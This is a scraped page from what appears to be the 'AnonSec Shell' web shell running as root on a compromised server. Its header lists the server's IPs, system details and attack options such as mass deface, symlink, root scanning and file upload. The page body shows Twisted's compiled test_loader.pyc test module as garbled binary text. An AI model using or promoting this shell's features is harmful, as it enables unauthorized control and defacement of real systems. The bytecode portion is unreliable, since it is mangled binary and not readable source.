AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/trial/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/trial/test/__pycache__/test_loader.cpython-310.pyc
o

�bXW�@s�dZddlZddlZddlZddlmZddlmZm	Z	ddl
mZddlm
Z
ddlmZmZmZddlmZdd	lmZdd
lmZdd�ZGd
d�dej�ZGdd�dej�ZGdd�dej�ZGdd�de�ZGdd�dej�ZdS)z"
Tests for loading tests by name.
�N)�md5)�filepath�util)�	getModule)�ModuleNotFound)�reporter�runner�unittest)�
_iterateTests)�	ITestCase)�packagescCs$g}t|�D]	}|�|���q|S)zI
    Return the id of each test within the given test suite or case.
    )r
�append�id)�tests�names�test�r�@/usr/lib/python3/dist-packages/twisted/trial/test/test_loader.py�	testNamessrcs<eZdZ�fdd�Zdd�Zdd�Zdd�Zd	d
�Z�ZS)�FinderPy3Testscst���t��|_dS�N)�super�setUpr�
TestLoader�loader��self��	__class__rrr"s
zFinderPy3Tests.setUpcC�|�t|jjd�dS)z�
        findByName, if given something findable up until the last entry, will
        raise AttributeError (as it cannot tell if 'nonexistent' here is
        supposed to be a module or a class).
        ztwisted.trial.test.nonexistentN)�assertRaises�AttributeErrorr�
findByNamerrrr�test_findNonModule&s
�z!FinderPy3Tests.test_findNonModulecC�|�t|jjd�dS)N�	nonextant)r rrr"rrrr�test_findNonPackage0sz"FinderPy3Tests.test_findNonPackagecCs"t�td�}|�t|jj|�dS)z�
        findByName, given a file path that doesn't exist, will raise a
        ValueError saying that it is not a Python file.
        znonexistent.pyN)r�sibpath�__file__r �
ValueErrorrr")r�pathrrr�test_findNonFile3szFinderPy3Tests.test_findNonFilecCr)zn
        findByName will re-raise ImportErrors inside modules that it has found
        and imported.
        zunimportablepackage.test_moduleN)r �ImportErrorrr"rrrr�test_findFileWithImportError;s
�z+FinderPy3Tests.test_findFileWithImportError)	�__name__�
__module__�__qualname__rr#r&r+r-�
__classcell__rrrrr!s
rc@sXeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�ZdS)�	FileTestsz/
    Tests for L{runner.filenameToModule}.
    cCs$|�ttjd�}|�t|�d�dS)zo
        L{runner.filenameToModule} raises a C{ValueError} when a non-existing
        file is passed.
        �itz'it' doesn't existN)r r)r�filenameToModule�assertEqual�str)r�errrrr�test_notFileJszFileTests.test_notFilecCs.t�t�td��}ddlm}|�||�dS)z�
        If the file in question is a module on the Python path, then it should
        properly import and return that module.
        z	sample.pyr��sampleN)rr4rr'r(�twisted.trial.testr:r5�r�sample1�sample2rrr�test_moduleInPathRszFileTests.test_moduleInPathcCsr|�|j�t�tj�|jdd��}|�|j	d�|�
�|�|j�ddlm
}|�||�|�|j|j�dS)a
        If passed the path to a file containing the implementation of a
        module within a package which is not on the import path,
        L{runner.filenameToModule} returns a module object loosely
        resembling the module defined by that file anyway.
        �goodpackageztest_sample.pyzgoodpackage.test_sampler)�test_sampleN)�
mangleSysPath�oldPathrr4�osr*�join�parentr5r.�cleanUpModules�newPathr@rA�assertIsNot�__spec__r<rrr�test_moduleNotInPath\s�zFileTests.test_moduleNotInPathcCs,t�tj�|jd��}|�|tjd�dS)z�
        If the file in question is a package on the Python path, then it should
        properly import and return that package.
        r@N)	rr4rDr*rErF�assertIs�sys�modules)r�package1rrr�test_packageInPathqszFileTests.test_packageInPathcCsl|�|j�t�tj�|jd��}|�|j	d�|�
�|�|j�ddl}|�
||�|�|j|j�dS)z�
        If passed the path to a directory which represents a package which
        is not on the import path, L{runner.filenameToModule} returns a
        module object loosely resembling the package defined by that
        directory anyway.
        r@rN)rBrCrr4rDr*rErFr5r.rGrHr@rIrJ)rrOr@rrr�test_packageNotInPathzszFileTests.test_packageNotInPathcCsHt�|j��d�}|��|�ttj|j	�}|�
t|�|j	�d��dS)z�
        L{runner.filenameToModule} raises a C{ValueError} when the name of an
        empty directory is passed that isn't considered a valid Python package
        because it doesn't contain a C{__init__.py} file.
        �emptyDirectoryz is not a package directoryN)r�FilePathrF�child�createDirectoryr r)rr4r*r5r6)r�emptyDirr7rrr�test_directoryNotPackage�sz"FileTests.test_directoryNotPackagecCs2t�|j��d�}|�d�|�ttj|j	�dS)zn
        L{runner.filenameToModule} raises a C{SyntaxError} when a non-Python
        file is passed.
        �	notpythonsThis isn't pythonN)
rrSrFrT�
setContentr �SyntaxErrorrr4r*)r�filenamerrr�test_filenameNotPython�s
z FileTests.test_filenameNotPythoncCsZt�|j��d�}|�tj�d��zt�	|j
�}|�|j
|j�W|�
�dS|�
�w)zX
        The C{__file__} attribute of the module should match the package name.
        zgoodpackage.py�utf8N)rrSrFrTrYr�
testModule�encoderr4r*r5r(�remove)rr[�modulerrr�test_filenameMatchesPackage�sz%FileTests.test_filenameMatchesPackagecCs�t�|j��d�}|��|�d��d�z)t�|j�}|�	|j
�d��t�|jtjj
�}|�	|j
�d��W|��dS|��w)z�
        Test loader against a filesystem directory containing an empty
        C{__init__.py} file. It should handle 'path' and 'path/' the same way.
        �
goodDirectory�__init__.py�N)rrSrFrTrUrYrr4r*�
assertTruer.�endswithrD�sepr`)r�goodDirrarrr�test_directory�szFileTests.test_directoryN)
r.r/r0�__doc__r8r?rKrPrQrWr\rbrjrrrrr2Es
		
r2c@seZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Zd4d5�Zd6d7�Zd8d9�Zd:d;�Z d<d=�Z!d>d?�Z"d@S)A�LoaderTestsz(
    Tests for L{trial.TestLoader}.
    cCst��|_tj�|�dSr)rrrr�SysPathManglingTestrrrrrr�s
zLoaderTests.setUpcs�ddlm}|j�|j�}|�gd�dd�|jD��gd�}tt|t	d�����fdd	�|j_
|j�|j�}|�|d
d�|jD��dS)Nrr9)�test_a�test_b�test_ccS�g|]}|j�qSr��_testMethodName��.0rrrr�
<listcomp>��z.LoaderTests.test_sortCases.<locals>.<listcomp>)rorprn�cs��|��d�S)N���)�get�shortDescription)�x��sortDictrr�<lambda>�sz,LoaderTests.test_sortCases.<locals>.<lambda>cSrqrrrrtrrrrv�rw)r;r:r�	loadClass�AlphabetTestr5�_tests�dict�zip�range�sorter)rr:�suite�newOrderrr}r�test_sortCases�s�zLoaderTests.test_sortCasescCsB|j�d�}t��}|�|�|�|jd�|�t|j�d�dS)z{
        Loading a test that fails and getting the result of it ends up with one
        test ran and one failure.
        z6twisted.trial.test.erroneous.TestRegularFail.test_fail�N)	r�
loadByNamer�
TestResult�runr5�testsRun�len�failures)rr��resultrrr�test_loadFailure�s�
zLoaderTests.test_loadFailurecC�Jddlm}|jj|jj|jgd�d�}|�d|���|�d|j�dS)z�
        A decorated test method for which the decorator has failed to set the
        method's __name__ correctly is loaded and its name in the class scope
        discovered.
        rr9)r:�DecorationTest�test_badDecorator�rF�qualNamer�r�N)	r;r:r�loadAnythingr�r�r5�countTestCasesrs�rr:r�rrr�test_loadBadDecorator���z!LoaderTests.test_loadBadDecoratorcCr�)z�
        A decorated test method for which the decorator has set the method's
        __name__ correctly is loaded and the only name by which it goes is used.
        rr9)r:r��test_goodDecoratorr�r�r�N)	r;r:rr�r�r�r5r�rsr�rrr�test_loadGoodDecorator�s�z"LoaderTests.test_loadGoodDecoratorcCr�)z�
        Load a decorated method which has been copied to a new name inside the
        class.  Thus its __name__ and its key in the class's __dict__ no
        longer match.
        rr9)r:r��test_renamedDecoratorr�r�r�N)	r;r:rr�r�r�r5r�rsr�rrr�test_loadRenamedDecoratorr�z%LoaderTests.test_loadRenamedDecoratorcCsJddlm}|j�|j�}|�d|���|�ddgdd�|jD��dS)Nrr9��test_bar�test_foocSrqrrrrtrrrrvrwz.LoaderTests.test_loadClass.<locals>.<listcomp>)r;r:rr��FooTestr5r�r�r�rrr�test_loadClasss�zLoaderTests.test_loadClasscCs\ddlm}|�t|jj|�|�t|jj|jj�|�t|jjd�|�t|jjd�dS�Nrr9�string)�foo�bar)r;r:r �	TypeErrorrr�r�r��rr:rrr�test_loadNonClasss
zLoaderTests.test_loadNonClasscCs$ddlm}|�t|jj|j�dS�Nrr9)r;r:r r)rr��NotATestr�rrr�test_loadNonTestCase$sz LoaderTests.test_loadNonTestCasecCs,ddlm}|j�|�}|�d|���dS)Nrr9�
)r;r:r�
loadModuler5r�r�rrr�test_loadModule)szLoaderTests.test_loadModulecC�^ddlm}|�t|jj|j�|�t|jj|jj�|�t|jjd�|�t|jjd�dSr�)r;r:r r�rr�r�r�r�rrr�test_loadNonModule/�
zLoaderTests.test_loadNonModulecCs(ddl}|j�|�}|�d|���dS�Nr��r@r�loadPackager5r��rr@r�rrr�test_loadPackage7szLoaderTests.test_loadPackagecCr�r�)r;r:r r�rr�r�r�r�rrr�test_loadNonPackage=r�zLoaderTests.test_loadNonPackagecCs"ddlm}|�t|jj|�dSr�)r;r:r r�rr�r�rrr�test_loadModuleAsPackageEsz$LoaderTests.test_loadModuleAsPackagecCs,ddl}|jj|dd�}|�d|���dS�NrT��recurse�r�r�rrr�test_loadPackageRecursiveKsz%LoaderTests.test_loadPackageRecursivecCs:ddlm}|j�|�}|�|j|jdjdjj�dSr�)	r;r:rr�r5r.r�rr/r�rrr�test_loadAnythingOnModuleQs
�z%LoaderTests.test_loadAnythingOnModulecCs.ddlm}|j�|j�}|�d|���dS)Nrr9r�)r;r:rr�r�r5r�r�rrr�test_loadAnythingOnClassYsz$LoaderTests.test_loadAnythingOnClasscCs<ddl}|j�|�}|�t||jj��|�d|���dSr��r@rr�rf�
isinstance�suiteFactoryr5r�r�rrr�test_loadAnythingOnPackage_sz&LoaderTests.test_loadAnythingOnPackagecCs@ddl}|jj|dd�}|�t||jj��|�d|���dSr�r�r�rrr�#test_loadAnythingOnPackageRecursivefsz/LoaderTests.test_loadAnythingOnPackageRecursivecCr$)Nr@)r r�rr�rrrr�test_loadAnythingOnStringmsz%LoaderTests.test_loadAnythingOnStringcCsxddl}|jj|dd�}t��}|�|�|�d|���|�dt|j	��dd�|j	D�}|�
�|�|dd	g�dS)
NrTr�Fr�cSsg|]\}}|���qSr)r)rur�errorrrrrvzsz1LoaderTests.test_importErrors.<locals>.<listcomp>zpackage.test_bad_modulezpackage.test_import_module)�packagerr�r�Reporterr�r5�
wasSuccessfulr��errors�sort)rr�r�r�r�rrr�test_importErrorsrs
�zLoaderTests.test_importErrorscCsBGdd�dtj�}|j�|�}t��}|�|�|�|���dS)z�
        L{TestLoader.loadClass} returns a suite with each test method
        represented by a different instances of the L{TestCase} they are
        defined on.
        c@seZdZdd�Zdd�ZdS)z>LoaderTests.test_differentInstances.<locals>.DistinctInstancescSs
d|_dS)N�test1Run)�firstrrrr�test_1�s
zELoaderTests.test_differentInstances.<locals>.DistinctInstances.test_1cSs|�t|d��dS)Nr�)�assertFalse�hasattrrrrr�test_2�szELoaderTests.test_differentInstances.<locals>.DistinctInstances.test_2N)r.r/r0r�r�rrrr�DistinctInstances�sr�N)	�pyunit�TestCaserr�rr�r�rfr�)rr�r�r�rrr�test_differentInstances�s

z#LoaderTests.test_differentInstancescC�@ddlm}|j�|�}|�d|���|�dt|dd��dS)zp
        Check that C{test_suite} is used when present and other L{TestCase}s are
        not included.
        r)�mockcustomsuite�
MyCustomSuite�nameN)r;r�rr�r5r��getattr)rr�r�rrr�test_loadModuleWith_test_suite��z*LoaderTests.test_loadModuleWith_test_suitecCr�)zo
        Check that C{testSuite} is used when present and other L{TestCase}s are
        not included.
        r��mockcustomsuite2r�r�N)r;r�rr�r5r�r�)rr�r�rrr�test_loadModuleWith_testSuite�r�z)LoaderTests.test_loadModuleWith_testSuitecCs0ddlm}|j�|�}|�dt|dd��dS)z�
        Check that if C{testSuite} and C{test_suite} are both present in a
        module then C{testSuite} gets priority.
        r)�mockcustomsuite3�	testSuiter�N)r;r�rr�r5r�)rr�r�rrr�test_loadModuleWithBothCustom�sz)LoaderTests.test_loadModuleWithBothCustomcCsJdd�}ddlm}||j|_}z|�t|jj|�W||_dS||_w)zz
        Make sure that any C{AttributeError}s raised by C{testSuite} are not
        swallowed by L{TestLoader}.
        cSstd��)Nzshould be reraised)r!rrrrr��szBLoaderTests.test_customLoadRaisesAttributeError.<locals>.testSuiterr�N)r;r�r�r r!rr�)rr�r��originalrrr�#test_customLoadRaisesAttributeError�sz/LoaderTests.test_customLoadRaisesAttributeErrorcCs0t|�}t|�}|��|��|�||�dSr)rr�r5)r�test1�test2�names1�names2rrr�assertSuitesEqual�s
zLoaderTests.assertSuitesEqualcCs4d}|j�||gd�}|j�|d�}|�||�dS)z@
        Check that loadByNames ignores duplicate names
        �twisted.trial.test.test_logTN)r�loadByNamesr�r�)rra�suite1�suite2rrr�test_loadByNamesDuplicate�sz%LoaderTests.test_loadByNamesDuplicatecCs@gd�}|j�|�}t�t|jj|��}|�t|�t|��dS)zX
        L{TestLoader.loadByNames} preserves the order of tests provided to it.
        )�$inheritancepackage.test_x.A.test_fooztwisted.trial.test.sampler@r�z!twisted.trial.test.sample.FooTest�package.test_moduleN)rr�r�	TestSuite�mapr�r5r�rrNr�r�rrr�test_loadByNamesPreservesOrder�sz*LoaderTests.test_loadByNamesPreservesOrdercC�8ddg}|j�|�}t�t|jj|��}|�||�dS)zM
        Check that loadByNames loads all the names that it is given
        r@r�N�rr�rr�r�r�r�r�rrr�test_loadDifferentNames�sz#LoaderTests.test_loadDifferentNamescCr�)zu
        Check that test methods names which are inherited from are all
        loaded rather than just one.
        r�z$inheritancepackage.test_x.B.test_fooNr�)r�methodsr�r�rrr�test_loadInheritedMethods�s�z%LoaderTests.test_loadInheritedMethodsN)#r.r/r0rkrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrl�sB
	
		rlc@seZdZdd�ZdS)�ZipLoadingTestscCsNddlm}t�|�||j|jd�|jd7_|�|j|jg�dS)Nr)�zipitz.zip)� twisted.python.test.test_zippathrrlrrFrBrC)rrrrrr�s

zZipLoadingTests.setUpN)r.r/r0rrrrrr�src@s:eZdZdd�Zdd�Zejfdd�Zdd�Zd	d
�Z	dS)�PackageOrderingTestscCslt��|_|��|_tj�|jd�}t�|�t	tj�|d�d��
�tj�
||�|�|j|jg�dS)N�uberpackagerd�wb)rrr�mktemp�topDirrDr*rE�makedirs�open�closerrmrrBrC)rrFrrrrs


zPackageOrderingTests.setUpccs��td�}g}|��D]}|j�d�d�d�r|�|�qt||d�}|D]S}|�d�}|dur5|Vq&g}|��D]}	t	�
|	���rI|�|	�q;t||d�}
|
D]&}g}|��D]}
|
j�d�d�d�rl|�|
�qZt||d�}|EdHqRq&dS)a�
        Right now, halfway by accident, trial sorts like this:

            1. all modules are grouped together in one list and sorted.

            2. within each module, the classes are grouped together in one list
               and sorted.

            3. finally within each class, each test method is grouped together
               in a list and sorted.

        This attempts to return a sorted list of testable thingies following
        those rules, so that we can compare the behavior of loadPackage.

        The things that show as 'cases' are errors from modules which failed to
        import, and test methods.  Let's gather all those together.
        r�.ry�test_)�keyNr)r�walkModulesr��split�
startswithr
�sorted�load�iterAttributesr�
isTestCase)rr��pkg�testModulesr^�
sortedModules�modinfora�testClasses�attrib�
sortedClasses�clsinfo�testMethods�attr�
sortedMethodsrrr�_trialSortAlgorithms8�
�

�
���z(PackageOrderingTests._trialSortAlgorithmc	
Cs�ddl}||j_|jj|dd�}t�|t�}tt|��}t|�	|��}t
t||��D]\}\}}|�|j
|��d||j
|��f�q*|�t|�t|��dS)zG
        Verify that packages are loaded in the correct order.
        rNTr�z
#%d: %s != %s)rrr�r�r	�decorater�listr
r �	enumerater�r5r�rr�)	rr�rr��resultingTests�manifest�number�manifestTest�
actualTestrrr�loadSortedPackages;s��z'PackageOrderingTests.loadSortedPackagescCs|��dSr�r)rrrr�test_sortPackagesDefaultOrderRsz2PackageOrderingTests.test_sortPackagesDefaultOrdercCsdd�}|�|�dS)NcSs t�|�}t|�d����}|S)Nr])rr�rr_�	hexdigest)�s�n�drrr�sillySorterVs
zEPackageOrderingTests.test_sortPackagesSillyOrder.<locals>.sillySorterr*)rr0rrr�test_sortPackagesSillyOrderUs	z0PackageOrderingTests.test_sortPackagesSillyOrderN)
r.r/r0rr rr�r)r+r1rrrrrs	+r)rkrDrMr	r��hashlibr�twisted.pythonrr�twisted.python.modulesr�twisted.python.reflectr�
twisted.trialrr�twisted.trial._asyncrunnerr
�twisted.trial.itrialrr;rrrmrr2rlrrrrrr�<module>s(
${>

Anon7 - 2022
AnonSec Team